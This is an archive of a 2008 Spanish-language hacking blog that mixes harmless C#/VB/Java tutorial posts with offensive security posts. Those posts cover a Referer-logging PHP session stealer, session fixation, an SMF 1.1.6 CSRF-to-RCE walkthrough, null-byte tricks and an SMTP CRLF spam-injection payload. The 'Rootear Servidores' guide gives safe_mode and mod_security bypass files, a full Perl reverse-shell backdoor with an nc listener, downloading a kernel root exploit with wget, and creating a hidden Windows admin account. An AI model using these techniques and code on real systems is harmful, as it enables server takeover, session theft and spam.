domingo, 30 de noviembre de 2008

LINQ in Action 2008

LINQ, una de las grandes novedades de la nueva generación de tecnologías de Microsoft, nos permite a los desarrolladores de C# y VB realizar consultas de forma nativa sobre cualquier colección de datos.




Salu2

PD: Como toda buena información, está en inglés, y mucho me temo, poca encontrarás en español, y más que sea tan completa.
5 0verl0ad Labs: 2008 LINQ, una de las grandes novedades de la nueva generación de tecnologías de Microsoft, nos permite a los desarrolladores de C# y VB realizar...

jueves, 27 de noviembre de 2008

Universal Hijacking by <img> (GET Method)

Por Vengador de las Sombras (F.O.S. TeaM)


Saludos a todos!

Bueno... antes de empezar, quiero decir que no he visto por ningun lado nada referente a esta técnica, pero en mi opinión es más que probable que haya alguna publicación donde aparezca algo... si alguien encuentra algún link donde ya hablen de esto, por favor posteadlo.


El tema en principio sería el poder robar sesiones en sistemas que usen los identificadores en variables que se introduzcan por método GET. La idea original me ha surgido mientras testeaba una web, estaba observando las cabeceras HTTP y observé que al cargar las imágenes se mostraba una cabecera de petición GET a dicha imagen, y que aparecía el campo "Referer" la URL http://example.org/index.php?id=1234. Bien, esto es una cosa obvia que todo el mundo conoce... pero bueno, mi cabeza empezó a maquinar una idea... (si, lo que todos estais pensando).

El caso es que se me ocurrió aplicar la técnica de explotación de los XSRF (la de <img src=http://example.org/index.php?acion_ha_realizar>) para apuntar a un script php nuestro, donde guardaríamos el Referer ($_SERVER['HTTP_REFERER']).


Para probar, me hice un pequeño PoC en LocalHost. Primero hice un test.php cuyo contenido era únicamente <img src=/stealer.php>. Y otro archivo con el siguiente source:

<?php
$m = fopen("referer.txt","w+");
$texto = $_SERVER['HTTP_REFERER'];
fwrite($m,$texto);
?>



Cuando ya tenía el escenario preparado, procedí a entrar a http://localhost/test.php?session=12345 y esta una de las cabeceras que obtuve:



GET /stealer.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/test.php?session=12345


Y al abrir el archivo referer.txt aparecía la URL http://localhost/test.php?session=12345 , luego el ataque tuvo éxito.


Este ataque (que no creo haber descubierto, por favor si alguien tiene alguna refernecia sobre este ataque que la postee) en principio afectaría a todo tipo de web, blog, foro, etc que dejara postear tags tipo <img> o el BBcode [img], ya que en el caso de un foro por ejemplo, podríamos ponernos una firma que apuntase a nuestro robador de sesiones....


Si existe algún tipo de error, por favor también posteadlo.
5 0verl0ad Labs: 2008 Por Vengador de las Sombras (F.O.S. TeaM) Saludos a todos! Bueno... antes de empezar, quiero decir que no he visto por ningun lado nada...

jueves, 20 de noviembre de 2008

Session Hijacking & Fixation Method


Por Vengador de las Sombras


Hace ya tiempo Lix me recomendó hacer algún tipo de publicación que hablara de Session Fixation hará como dos o tres semanas... La cosa es que he estado demasiado liado con la universidad y no he tenido tiempo apenas para ponerme a escribir unas líneas sobre el tema y documentarme más (como ya sabes Lix, mil gracias por esos maravillosos links que me expendes).


Bueno... tras esta pequeña introducción pasemos a aclarar conceptos, empezemos por "Session". Una sesión es una interrelación entre un cliente y un servidor basada en un conjunto de caracteres que identifican a dicho cliente, haciendo que se pueda asociar informacion a ese identificador. Por ejemplo, para no tener que estar logeandonos contínuamente, podemos usar un sistema de sesiones que realicen un logeo automático.


El servidor guarda un archivo temporal con la cadena identificadora, y cada vez que compruebe la sesion del cliente (ya sea porque se la dá por una variable de tipo GET, o bien porque se encuentra en una cookie) comprobará esos archivos... Ya comentemos hace tiempo sobre estos archivos temporales, cuando comenté la idea de infectar esos archivos para usarlos a modo de WebShell (idea recogida de una publicación de Hondamena en vZack Forum).


¿Y qué es Session Hijacking?, llamamos Session Hijacking a cualquier método o técnica que tenga como fin el conseguir la session de una víctima. Las formas de conseguir este objetivo son variadas, como por ejemplo sniffeando tráfico (si conseguimos interceptar las peticiones a un host, podremos obtener el identificador de sesion). Hablando de esta forma, que podríamos definirla como "Interceptación", hemos de decir que cuando las sesiones están en variables de tipo GET (es decir, se introducen a través de la ULR) están mucho más expuestas a este tipo de ataque. Otro método menos conocido, probablemente por su dificultad o escasez, es el de "Predicción", basado en realizar un ataque por fuerza bruta hasta obtener una sesión válida... Puede parecer un ataque poco efectivo... pero si se convina con cualquier otra vulnerabilidad obtenemos un ataque plausible. Es el caso del bug que hubo en los foros SMF 1.1.5, en el cual por culpa de los servidores Win32 y de la función rand() se podría "predecir" (tras realizar una fuerza bruta) la sessión del admin y así resetear el password...


Los XSS suelen ir asociados también al robo de sesiones, aunque no son un método en sí, juegan un papel importante tanto en la interceptación (por la posibilidad de, por ejemplo, robar una cookie) como en Session Hijacking, cosa que ya veremos.



Y ahora es cuando viene el método sobre el que vamos a centrar: Session Fixation. En los anteriores métodos siempre se ha desconocido el identificador del cliente y lo que se ha buscado es tratar de averiguar cuál es. En esta ocasión, se cambia la mentalidad y lo que se busca es hacer que el cliente se logee con una sesión que ya conocemos. La ventaja de este método, es que cambiamos el identificador del cliente por uno que conocemos, por lo que cuando nosotros entremos a esa sesión, tendríamos sus mismos privilegios...

Un pequeño PoC para sintetizar brevemente el concepto en sí, puede ser el que aparece en el Blog de Chrish Shiflett, en el cual se muestra el siguiente código fuente:


<?php
session_start();

if (!isset($_SESSION['count']))
{
$_SESSION['count'] = 0;
}
else
{
$_SESSION['count']++;
}

echo $_SESSION['count'];
?>


Si guardan este ejemplo como /session.php y acceden a él a través de /session.php?PHPSESSID=1234, la primera vez veremos un "0", pero si volvemos entrar más veces, podemos observar cómo el número va aumentando. Ahora bien, si tras hacer esto, probamos a entrar a esa misma URL desde otro ordenador... podremos observar que no aparece "0". De esta forma se puede demostrar que esa sessión existe, y que hemos entrado en ella.


Ahora hablemos de como explotar este tipo de fallos. Si la identificación se establece a través de una variable tipo GET, podemos usar ingeniaría social + un iframe oculto, o bien realizar una redirección, ya sea por Meta Refresh o directamente de protocolo (en PHP con un
header('Location: http://host/index.php?PHPSESSID=caracteres');). Si en cambio se trabaja con Cookies... la cosa se complica, pero no demasiado.


Si encontramos un XSS en el host vulnerable, podríamos intentar colar un JavaScript que cree una cookie con la session que nosotros queramos... Pero el problema es que muchos filtros (dificiles de bypassear) no permiten introducir los tags de script, así que podemos recurrir al Meta Tag set-Cookie [1].



Bueno hasta aqui esta pequeña publicación... decir que no he querido extenderme mucho porque Lix tenía pensado publicar algo al respecto de este tema, y no quiero chafarle su paper.



Referencias:

[1]Aceca del Meta Tag Set-cookie
Session Hijacking
Session Fixation
5 0verl0ad Labs: 2008 Por Vengador de las Sombras Hace ya tiempo Lix me recomendó hacer algún tipo de publicación que hablara de Session Fixation hará como d...

viernes, 14 de noviembre de 2008

Recopilación de tutoriales

Bueno, he encontrado varios tutoriales por la web que están bastante bien para iniciarse con Microsoft Expression Blend. Comparto con ustedes:




Salu2
5 0verl0ad Labs: 2008 Bueno, he encontrado varios tutoriales por la web que están bastante bien para iniciarse con Microsoft Expression Blend. Comparto con ustede...

Juego del ahorcado

El famoso fuego del "Ahorcado" con Visual Basic y SharpDevelp paso a paso.


Salu2
5 0verl0ad Labs: 2008 El famoso fuego del "Ahorcado" con Visual Basic y SharpDevelp paso a paso. Descargar vídeo-tutorial + Source Salu2

Autoexamen

En este vídeo-tutorial se hace una introducción tanto al entorno de SharpDevelop como a la sintaxis de C#, para crear una aplicación que servirá para autoexaminarnos.


Salu2
5 0verl0ad Labs: 2008 En este vídeo-tutorial se hace una introducción tanto al entorno de SharpDevelop como a la sintaxis de C#, para crear una aplicación que ser...

Vídeotutoriales - Desarrollo de videojuegos

Vídeo-tutoriales

01 Matamarcianos [Descargar vídeotutorial + fuentes]
Tecnologías: Laszlo, Eclipse - Nivel técnico: 3-Medio


02 Algoritmo Minimax (IA) [Descargar vídeotutorial + fuentes]
Tecnologías: Java, JSP, Netbeans - Nivel técnico: 3-Medio


03 Pong3D con Java3D [Descargar vídeotutorial + fuentes]
Tecnologías: Java3D, Netbeans - Nivel técnico: 4-Medio/Alto


04 Desarrollo de una bolera virtual [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 5-Avanzado


05 Game Maker [Descargar vídeotutorial + fuentes]
Tecnologías: Game Maker - Nivel técnico: 1-Básico


06 Juego de coches [Descargar vídeotutorial + fuentes]
Tecnologías: J2ME - Nivel técnico: 2-Básico/Medio


07 MazeRunner [Descargar vídeotutorial + fuentes]
Tecnologías: Javascript - Nivel técnico: 3-Medio


08 Búsqueda de soluciones basadas en IA [Descargar vídeotutorial + fuentes]
Tecnologías: Algoritmos de búsqueda - Nivel técnico: 4-Medio/Avanzado


09 El juego del trilero [Descargar vídeotutorial + fuentes]
Tecnologías: Java y UML - Nivel técnico: 2-Básico/Medio


10 Tiro a diana [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 1-Básico


11 Busca las minas [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 2-Básico/Medio


12 Tragaperras [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 1-Básico


13 Tetris [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 4-Medio/Avanzado


En construcción

Salu2
5 0verl0ad Labs: 2008 Vídeo-tutoriales 01 Matamarcianos [Descargar vídeotutorial + fuentes] Tecnologías: Laszlo, Eclipse - Nivel técnico: 3-Medio 02 Algoritm...

viernes, 7 de noviembre de 2008

SMF 1.1.6 Remote Code Execution

Saludos!


Seguro que si estás leyendo esto es porque te has hecho eco de la publicación de un exploit que explota un RCE en los foros SMF 1.1.6. Quisiera con este post analizar el cómputo de vulnerabilidades que han posibilitado provocar el RCE. Antes de empezar quisiera decir que la información que aquí publico está extraida del exploit. Bien, empecemos...



Como ya he dicho al inicio, esta vulnerabilidad no es una en sí, sino la suma de varias fallas... Empezando por el principio, todos somos conscientes de que para evitar que un admin realice acciones dentro del panel de administración sin ser consciente de ello, es decir, para evitar que se produzca un CSRF, SMF usa un sistema de sesiones.

Para realizar cualquier accion (en principio) el SMF debe de requerir la sesión y así evitar ejecutar algo por clickar sobre un link o algo.. pero como he dicho esto es sólo en "principio", porque para la instalación de paquetes no es requerido.

Entonces estamos ante un CSRF, en el cual podríamos hacer que el administrador instalase paquetes sin que se diera cuenta, simplemente tendríamos que ingeniarnosla para que clickase sobre esta URL:

http://[website]/SMF/index.php?action=packages;sa=install2;package=[filename]

Si analizásemmos el código fuente, podríamos ver que la variable $_REQUEST['package'] no es filtrada, lo que nos permite (aprovechando el CSRF) hacer que el admin instale cualquier tipo de paquete, sin tener en cuenta su localización (en extensión .gzip)

Entonces... si pensamos un poco, podemos encontrar dos formas de subir desde nuestro ordenador un archivo a un foro SMF. Por una parte está el upload de imagenes para usarlas como avatar (casi siempre deshabilitado y dificil de bypassear) y por otra, podemos agregar un archivo a un post, sin importar su extensión.


Ya sólo nos quedaría encontrar el archivo que hemos subido y hacer clickar al admin para que instale todo... Y es aquí donde SMF vuelve a meter la pata: podemos encontrar fácilmente nuestro archivo subido.

SMF cambia el nombre a los archivos que se suben de esta forma, pero al renombrarlos no usa ningún tipo de función que dé caracteres aleatorios sino que lo hace de esta forma:


[id]_[name]_[ext][md5([name].[ext])]


Entonces, la URL maliciosa quedaría tal que así:

http://[website]/SMF/index.php?action=packages;sa=install2;package=../attachments/[nombre de nuestro archivo]


En el exploit que hay en milw0rm lo que se hace es crear un post agregando nuestro archivo .gzip y despues modifica ese post para hacer un [img]
http://[website]/SMF/index.php?action=packages;sa=install2;package=../attachments/[nombre de nuestro archivo][/img] y así cuando un admin vea el post instale todo.





Exploit en Milw0rm
5 0verl0ad Labs: 2008 Saludos! Seguro que si estás leyendo esto es porque te has hecho eco de la publicación de un exploit que explota un RCE en los foros SMF...

lunes, 13 de octubre de 2008

Poison Null Byte

Por Vengador de las Sombras





Es esta una vulnerabilidad ya archiconocida por todos, pero que no está de más hablar un poco sobre ella. Los caracteres nulos, o Null Bytes, son caracteres especializados en la señalización del final de una cadena, es decir, indican el final de una cadena. De esta forma, los caracteres que vengan detrás del null byte serán ignorados. Esto va a adquirir mucha importancia a la hora de bypassear ciertas funciones o filtros.

La representación de estos caracteres nulos cambia en cada lenguaje, pero básicamente siempre están compuestos por 0s. Por ejemplo:

PERL => \0
C++ => \x00
URLENCODE => %00


Estos son solo unos pocos ejemplos. Bien, entonces si tenemos una string (~cadena de texto) con el contenido "Hola Soy Vengador de las Sombras", en realidad eso equivaldría a "Hola Soy".

Ahora que ya hemos comprendido el cómo funciona la vulnerabilidad, pasemos a la parte práctica. Imaginémonos que tenemos una aplición web en PERL, y que un cacho del código fuente es así:


###############Trozo de Código#########################

# $opcion es introducido por método get desde la URL

$archivo = "$opcion.html";
open(PAGINA,"<$archivo"); @source = ;
foreach $linea (@source){
print $linea;
}

####################Mas codigo fuente ####################


Si yo por ejemplo pusiera PUTA, el script trataría de abrir el archivo PUTA.html. Ahora imaginémosnos que tiene en el mismo directorio (si lo tuviera en otro también se podría hacer, sólamente tendríamos que añadir ../ para ir subiendo directorios) un archivo llamado Index.php. Si nosotros seteamos $opcion con la cadena index.php, el script trataría de abrir index.php.html, que no existe y por tanto daría error.


Pero si lo que hacemos es colocar un null byte (%00) en la petición GET, podremos lograr que el script ignore la última parte (.html) abriendo index.php y permitiéndonos ver su código fuente (un Source Code Disclosure). Entonces la petición debería de quedar algo así: ?opcion=index.php%00


COmo pueden ver, esta técnica es aplicable (siempre y cuando sea vulnerable a esta técnica) tanto a SQL injections, como a LFIs, Transversal Paths, etc... es sólo usar la imaginación.
5 0verl0ad Labs: 2008 Por Vengador de las Sombras Es esta una vulnerabilidad ya archiconocida por todos, pero que no está de más hablar un poco sobre ella. L...

martes, 30 de septiembre de 2008

SMTP Injection: Otro ataque de CR/LF



Saludos a todos...


Bien siento el haber dejado un tanto de lado la publicación de papers y manuales, pero es que ando liado con la universidad y tal... Adelanto que probablemente se realice un artículo en colaboración con Sknight al estilo de "HTTP Al descubierto", pero esta vez orientado más a vulnerabilidades relacionadas con las cookies.


SMTP INJECTION




Las SMTP injections son una aplicación de la técnica conocida como "CRLF Injections". La vulnerabilidad y el ataque más habitual (HTTP Splitting) vienen introducidos en una anterior publicación[1], así que no vamos a entrar en el tema de en qúe consiste y demás.


COmo iba diciendo, las SMTP injections funcionan como los HTTP Splitting, y básicamente, como cualquier otro tipo de inyección. El objetivo es introducir una sentencia maligna para que sea ejecutada como si fuese propia de la aplicación vulnerable. En este caso, es aplicado al envío de mails.

Para aquellos que anden un poco perdidos, deciros que SMTP es un protocolo encargado de envíar correos (Simple Mail Transfer Protocool). En algunas ocasiones existen ciertas aplicaciones web encargadas del envío de mails, por ejemplo, de sugerencias al webmaster y cosas así. Si la aplicación es vulnerable a las inyecciones de retorno de carro (CR/LF Injection) podríamos aprovecharla para que mande correos a quien nosotros queramos. Hasta aquí creo que todo bien...



Lo segundo que tenemos que tener claro son como se realizan las negociaciones por SMTP[2]. Al final del paper dejo un link para aprender un poco y así comprender en qué consiste la técnica.


El escenario es el siguiente. Tenemos un archivo llamdo mail.php que es la aplicación vulnerable. Esta aplicación es la encargada de recibir por método POST los datos para enviar el mail. En este caso, existe un index.html con un formulario que apunta a mail.php. En este formulario únicamente podemos poner nuestro correo electrónico y el asunto del mensaje. Entonces si tenemos un sniffer puesto en el puerto 80 (siempre que auditemos o hagamos algo es bueno tener un sniffer interceptando la información), vemos algo tipo:


POST http://hostfalso.com.ar/mail.php HTTP/1.1

-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="asunto"
Le mando este mail para decirle
-----------------------------134475172700422922879687252




Sólo he puesto el cacho del "asunto". Si sabemos algo del protocolo SMTP (ya os advertí que necesitabais mirar los links del final) podemos haber deducido que la estructura del mail debe de ser algo al estilo de:


HELO
MAIL FROM: <Datos>
RCPT TO: lt;datos>
DATA
Subject: Le mando este mail para decirle



Entonces... si fuese vulnerable a CRLF injection, podríamos setear la variable "asunto" con una inyección cuyo objetivo sería partir la negocación y abrir otra con los datos que nosotros queramos, es decir, con el correo qeu queremos mandar y a quien se lo queremos mandar.

Entonces mandamos el siguiente HTTP header a mail.php:


POST http://hostfalso.com.ar/mail.php HTTP/1.1

-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="asunto"
Visita ArgeniversoHack%0d%0a.%0d%0aMAIL FROM: lammo@arroba.com%0d%0aRCPT TO: Lammo@at.com%0d%
0aDATA%0d%0aSPAM test%0d%0a.%0d%0aMAIL FROM: lammo@arroba.com%0d%0aRCPT TO:
Lammo@at.com%0d%0aDATA%0d%0aSPAM test%0d%0a.%0d%0a
-----------------------------134475172700422922879687252





Lo que se transformaría en...



MAIL FROM: [mailfrom]
RCPT TO: [rcptto]
DATA
Subject: Visita ArgeniversoHack
.
MAIL FROM: lammo@arroba.com
RCPT TO: Lammo@at.com
DATA
SPAM Test
.
MAIL FROM: lammo@arroba.com
RCPT TO: Lammo@at.com
DATA
SPAM Test
.



Ahora solo necesitais imaginación para darle alguna otra aplicación...




REFERENCIAS

[1]CRLF INJECTIONS: INFECTANDO DECARGAS
[2]RFC 2821
[3] MX-Injections (OWASP)
5 0verl0ad Labs: 2008 Saludos a todos... Bien siento el haber dejado un tanto de lado la publicación de papers y manuales, pero es que ando liado con la uni...

sábado, 20 de septiembre de 2008

Rootear Servidores


Rootear Servidores


Por Vengador de las Sombras (F.O.S TEAM)


0X00 INDICE


0x01 Introducción
0x02 Habilitar funciones (bypassing)
0x02~01 Safe_mode
0x02~02 Mod_security
0x03 Shell inversa
0x04 Rootear el servidor
0x04~01 Servidores con Linux
0x04~02 Servidores con Win32
0x05 Despedida y Agradecimiento s



0X01 INTRODUCCIÓN



El tema de "tengo una shell en el servidor, ahora que hago" seguro que nos suena de haberlo leido reitaradas veces en muchos foros. Y es que esta es una de las dudas existenciales cuando empiezas en este mundillo... ¿Qué hacer con tu shell?.

Pues para las personas que tienen esta duda, va dirigido esta guía. La idea original de crear dicha guía me la dió hace ya tiempo Lëssiëm. En aquel momento le expliqué de una forma "muy breve" el como rootear un servidor... pero en aquella ocasión se lo expliqué todo color de rosa, es decir sin ningun tipo de complicación. La idea de la guia se fue dejando de lado... hasta que antes de irme a la Universidad decidi crearla.

0X02 HABILITAR FUNCIONES (BYPASSING)



El primer problema con el que solemos encontrarnos a la hora de "juankear" un servidor, suele ser el que tenemos ciertas funciones deshabilitadas por culpa del "Safe_Mode", o tenemos algún problema con el Mod_Security. Cualesquiera que sea el caso del que nos dé problemas, en este capítulo hablaremos de como saltar, de como "bypassear" estas restricciones que nos encontramos.

Cuando tenemos una shell subida a un servidor, usualmente nuestro primer objetivo es el lograr habilitar aquellas funciones que vamos a necesitar, para poder desenvolvernos de la forma más sencilla por todo el servidor. A continuación pasamos a explicar detalladamente distintos bypassing.

0X02~01 SAFE_MODE



El Safe_Mode o Modo Seguro, es una configuración que se suele seguir mucho en los servidores que suelen ser de hospedaje, es decir, en aquellos que cada usuario tiene un /home/ diferente donde se alojan, teniendo el servidor así diferentes /home/, uno por cada usuario. Para evitar el que un usuario pueda interferir de algún modo en el normal funcionamiento de otro, estos servidores suelen adoptar una configuración de Modo Seguro.


Esta configuración lo que hace es inhabilitar ciertas funciones PHP que puedan tacharse como "peligrosas", tales como funciones de ejecución (Eval, System, exec...) y algunas otras como rename, copy, etc. Realmente no es que deshabiliten la totalidad de éstas funciones, sino que bloquean su uso únicamente al dueño del fichero.

Como nos habremos dado cuenta ya, Safe_Mode representa una barrera que debemos de saltar para poder "hacer algo" dentro del servidor. Para bypassear el Safe_Mode, existen diversas formas.


La primera de todas es usando algún exploit que vulnere la versión PHP que está corriendo el servidor. Normalmente deben de ejecutar el código del exploit en la shell. ¿Cómo hacemos esto?. Si alguna vez han manejado una R57 o una C99, habrán observado que existe un apartado donde pone "Run PHP Code" o similar. Deben de colocar ahí el código del exploit y lo ejecutan.




Una segunda forma para realizar un bypassing es el subir al mismo path donde se encuentra nuestra shell un archivo de configuración php.ini. Esto se hace así porque el safe_mode se configura como ON en la configuración de PHP. Entonces lo que vamos a hacer, es colocar un archivo de configuración dentro del mismo path en el que tenemos nuestra shell para deshabilitar en este path el Safe_Mode. EL source del .ini es el siguiente:



[PHP]
register_globals = On
engine = On
safe_mode = Off
safe_mode_exec_dir = On
safe_mode_include_dir =On


Pues ya sabemos cómo bypassear el safe_mode para poder movernos con soltura dentro del servidor.

0X02~02 MOD_SECURITY



Otra medida de seguridad que en muchas ocasiones necesitamos bypassear es el Mod_Security de Apache. Mod_Security es muy molesto para trabajar en el servidor... así que tendremos que bypassearlo editando el fichero .htaccess. Deberemos de añadir al fichero .htaccess


<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
&/IfModule>



Con esto y el bypass de Safe_Mode tendríamos la mitad del asunto hecho

0X03 SHELL INVERSA



El caso es que usar la shell en PHP para empezar está bien, pero cuando ya has conseguido realizar los bypass y lo que buscas es manejarte y tratar de rootear el servidor, siempre es mejor tener una shell sobre la que ejecutar instrucciones.

Como bien sabemos ya por NetCat, la shell inversa es la mejor forma de tener el control del servidor. Mayormente es preferible una inversa a una directa porque el firewall, en principio, casi siempre permite conexiones salientes, pero no entrantes.


Entonces nuestro objetivo será codear alguna aplicación que nos dé una shell inversa en el puerto que elijamos. Yo normalmente codeo los backdoors en PERL, ya que el uso de socket es muy sencillo. Por otra parte, existen otras personas que prefieren usar Backdoors codeadas por terceros, como la Datacha0s, o la BackConnect del D.O.M. Personalmente siempre apoyo el "codeate tú mismo tus herramientas" para depender menos de terceros. Así que aqui os dejo un PoC :



print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
$ejecutor = "/bin/bash";
system($ejecutor);


Esa es una pequeña idea, estudiad Perl para poder implementar esta idea. El caso es que con eso lanzaríamos un socket al host y puerto que hayamos puesto. Aqui les dejo la BackFoS (el backdoor que codee para el FOS TEAM) en su version 0.2. Actualmente estamos trabajando con la 0.3 (le he añadido unos pocos errores anti-kiddies):


#!/usr/bin/perl

########### BackFoS v0.2 - By FoS TeaM - [priv8] ##########
# #
# BackFoS is a Backdoor in PERL for all Servers #
# c0dex by Vengador de las Sombras #
# #
# USAGE: Perl BackFoS.pl #
# You need have listen nc, cryptcar, putty or other #
# program on to connect with the backdoor #
# #
#=========================================================#
# #
# Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k, #
# Lëssiëm Tárálom, Phonix & ArgeniversoHack & #RE members #
# Especial Thanx To Plaga, for the help =) #
# #
#################### (c)FoS TeaM 2008 #####################

#use IO::Socket;

print q(

=================================================
BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 5){
print "\nUsage: BackFoS.pl
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::BackFoS v0.2 - FoS TeaM - [Priv8]\n";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
sistem($ejecutor);
}


Antes de mandar la shell, debemos de ejecutar en nuestra propia shell lo siguiente:



nc -lvvp 90


Podemos usar NetCat, o cualquier otro programa que sirva para hacer negociaciones TCP/IP. El caso es que así dejamos a la escucha netcat para que reciba la shell. Desde la shell .php que tenemos en el servidor ejecutamos lo siguiente:



perl


et voilá ya podemos manejarnos dentro de la shell del servidor. Normalmente desde esta shell tendremos más flexibilidad que con la shell .php.


0X04 ROOTEAR EL SERVIDOR



Ya hemos llegado al apartado crucial de este paper. Cuando hablamos de rootear un servidor, a lo que nos referimos es a conseguir ser root del servidor, es decir, poder hacer lo que se nos antoje dentro del servidor. Aqui vamos a diferenciar entre servidores que corren con Linux y los que corren con Win32



0X04~01 SERVIDORES CON LINUX



Cuando rooteamos un servidor que corre con el sistema operativo Linux, lo que haremos será atacar al kernel (en caso de que sea una versión vulnerable) para que elevemos privilegios.

En este caso partimos de la base de que ya estamos controlando una shell inversa procedente del servidor. Lo primero que deberemos de hacer será comprobar si la versión del kernel es vulnerable. Para ello deberemo sde ejecutar la instruccion uname -r. Aqui les dejo un listado de kernels y posibles rootexploits que los vulneran:

2.4.17=> "newlocal kmod uselib24",
2.4.18=> "brk brk2 newlocal kmod",
2.4.19=> "brk brk2 newlocal kmod",
2.4.20=> "ptrace kmod ptrace-kmod brk brk2",
2.4.21=> "brk brk2 ptrace ptrace-kmod",
2.4.22=> "brk brk2 ptrace ptrace-kmod",
2.4.22-10=> "loginx",
2.4.23=> "mremap_pte",
2.4.24=> "mremap_pte uselib24",
2.4.25-1=> "uselib24",
2.4.27=> "uselib24",
2.6.2=> "mremap_pte krad h00lyshit",
2.6.5=> "krad krad2 h00lyshit",
2.6.6=> "krad krad2 h00lyshit",
2.6.7=> "krad krad2 h00lyshit",
2.6.8=> "krad krad2 h00lyshit",
2.6.8-5=> "krad2 h00lyshit",
2.6.9=> "krad krad2 h00lyshit",
2.6.9-34=> "r00t h00lyshit",


o hice una tool para el team que se encargaba precisamente de eso, de mostrar los posibles rootexploit a partir de ese listad (creas una matriz asociativa, dejando las Keys como las versiones y los Values con los rootexploits, despues lo que haces es ejecutar uname -r y creas un patron de búsqueda que compruebe si en el output aparece alguna version de kernel que tengamos en el hash).

Bien desde la shell remota lo que haremos será movernos hasta un directorio donde podamos ejecutar archivos. Normalmente se suele recurrir a /tmp o se hace un find . -type d -perm (los que necesiemos buscar)

Bueno, si ya estamso en el directorio, ahora debemos de descargar nuestro rootexploit al servidor usando el comando wget (wget http://mihost.com/del/exploit). Tras haber descargado nuestro rootexploit, deberemos de darle permisos de ejecuccion (777) usando el comando chmod:

Código:

chmod 777 rootexploit


Y ya solo nos quedaría ejecutarlo con ./rootexploit. Si todo ha salido bien, deberíamos de ser root ya.

0X04~02 SERVIDORES CON WIN32



Los más puristas llaman a esto "Semi-rootear" el servidor... pero bueno. Yo aprendí siguiendo un paper que publicó You_kn0w. La idea es crear un usuario en el servidor con permisos de administrador a través de los comandos net. Es por ello que es necesario tener el safe_mode off, para poder ejecutar comandos.

El "ataque" se inicia desde la shell que tengamos en el servidor. Allí lo que hacemos es ejecutar las siguientes instrucciones:

Código:

net user FoS 123456 /add


Para aquellos que sepan algo de batch, sabrán que lo que hemos hecho ha sido crear un usuario llamado FoS cuya password es 123456. Bien ahora nos vamos a inicio -> ejecutar y escribimos mstsc.exe

Se nos abrirá una ventania. Ahí vamos a opciones y rellenamos los campos, a excepción de Equipo. En ese campo deberemos de poner la IP del servidor donde nosotros nos habíamos creado el usuario. Podemos o bien hacer ping al servidor o bien hacer desde la shell ipconfig y sacar la IP.

0X05 DESPEDIDA Y AGRADECIMIENTOS




Bien, creo que al final este paper ha quedado como una buena introducción a las newbies que empiezan en este mundo. Por otra parte creo que podría expandirse un poco más... pero bueno eso para otra ocasión. Espero les haya sido de utilidad.


Gr3tz to: FoS TeaM (Chipbios & Mace Windu), Askata, Chr0n05, Lëssiëm, Lutscher, Keynet, Fr34k, N.O.X. Tambien agradecer a mi betatester S e t H y a mi gran colega Plaga.
5 0verl0ad Labs: 2008 Rootear Servidores Por Vengador de las Sombras (F.O.S TEAM) 0X00 INDICE 0x01 Introducción 0x02 Habilitar funciones (bypassing) 0x02~...

viernes, 12 de septiembre de 2008

HTTP al Descubierto by Vengador de las Sombras & Sknight

Aquí les dejo el paper sobre el que hemos estado trabajando esta semana y por el que dejé un tanto abandonado el blog. Tras este aporte, esperamos poder volver http://www.blogger.com/img/blank.gifhttp://www.blogger.com/img/blank.gifa la normalidad en cuanto al posteo diario en el blog.


===Mirrors actualizados===

-Mirror de elhacker.NET
-Mirror de Seth


==================================
5 0verl0ad Labs: 2008 Aquí les dejo el paper sobre el que hemos estado trabajando esta semana y por el que dejé un tanto abandonado el blog. Tras este aporte, esp...

sábado, 6 de septiembre de 2008

Visor de imágenes

Se trata de un visor de imágenes utilizando el tipo de proyecto WPF Application. Para ello, no hemos tenido que escribir ni una sola línea de código en C#, por lo que simplemente copiando el XAML a un proyecto del mismo tipo en VB seguiría funcionando.

Visor de imágenes con XAML



Como pueden ver, toma las fotografías de un documento XML que deberán modificar con sus fotografías para que les funcionen. De todos modos, he incluido una serie de fotografías en el RAR para que las copien en la unidad de C y puedan comprobar el funcionamiento del programar sin tener que modificar el XML. Para añadir fotos solo tiene que ir agregandolas al XML.

Salu2
5 0verl0ad Labs: 2008 Se trata de un visor de imágenes utilizando el tipo de proyecto WPF Application. Para ello, no hemos tenido que escribir ni una sola línea d...

Alternative Notepad Edition "Vengador"

Se trata de un bloc de notas con alguna característica adicional a gusto de mi amigo Vengador de las Sombras que fue quien me lo pidió que lo codeara hace ya unos meses para su uso personal:

Bloc de notas Visual Basic .NET



